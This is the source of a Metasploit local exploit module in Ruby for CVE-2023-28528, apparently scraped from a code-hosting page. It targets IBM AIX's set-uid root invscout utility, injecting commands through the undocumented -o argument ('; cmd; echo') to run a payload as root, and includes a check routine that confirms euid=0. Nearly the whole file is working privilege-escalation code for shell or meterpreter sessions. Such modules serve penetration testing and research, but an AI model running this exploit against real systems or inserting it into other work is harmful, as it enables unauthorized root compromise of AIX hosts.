Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/aix/local/invscout_rpm_priv_esc.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'invscout RPM Privilege Escalation',16'Description' => %q{17This module exploits a command injection vulnerability in IBM AIX18invscout set-uid root utility present in AIX 7.2 and earlier.1920The undocumented -rpm argument can be used to install an RPM file;21and the undocumented -o argument passes arguments to the rpm utility22without validation, leading to command injection with effective-uid23root privileges.2425This module has been tested successfully on AIX 7.2.26},27'Author' => [28'Tim Brown', # Discovery and PoC29'bcoles' # Metasploit30],31'References' => [32['CVE', '2023-28528'],33['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'],34],35'Platform' => %w[unix aix],36'Arch' => ARCH_CMD,37'Payload' => {38'BadChars' => "\x00\x0a\x0d\x22",39'Compat' => {40'PayloadType' => 'cmd',41'RequiredCmd' => 'generic telnet openssl'42}43},44'DefaultOptions' => {45'PrependSetresuid' => true,46'PrependSetresgid' => true,47'PrependFork' => true48},49'SessionTypes' => %w[shell meterpreter],50'Targets' => [['Automatic', {}]],51'DefaultTarget' => 0,52'DisclosureDate' => '2023-04-24',53'Notes' => {54'Stability' => [CRASH_SAFE],55'Reliability' => [REPEATABLE_SESSION],56'SideEffects' => [IOC_IN_LOGS]57}58)59)6061register_options([62OptString.new('INVSCOUT_PATH', [true, 'Path to invscout executable', '/usr/sbin/invscout'])63])64end6566def invscout_path67datastore['INVSCOUT_PATH']68end6970def check71return CheckCode::Safe("#{invscout_path} is not executable") unless executable?(invscout_path)7273res = execute_command('id')74id = res.to_s.scan(/^(.*?uid=.*?)$/).flatten.first.to_s7576return CheckCode::Safe("#{invscout_path} is not vulnerable.") unless id.include?('euid=0')7778CheckCode::Vulnerable("Output: #{id}")79end8081def execute_command(cmd, _opts = {})82rpm_path = "#{Rex::Text.rand_text_alphanumeric(8..12)}.rpm"83rpm_args = "; #{cmd}; echo "84res = cmd_exec("#{invscout_path} -RPM #{rpm_path} -o \"#{rpm_args}\"")85vprint_line(res) unless res.blank?86res87end8889def exploit90execute_command(payload.encoded)91end92end939495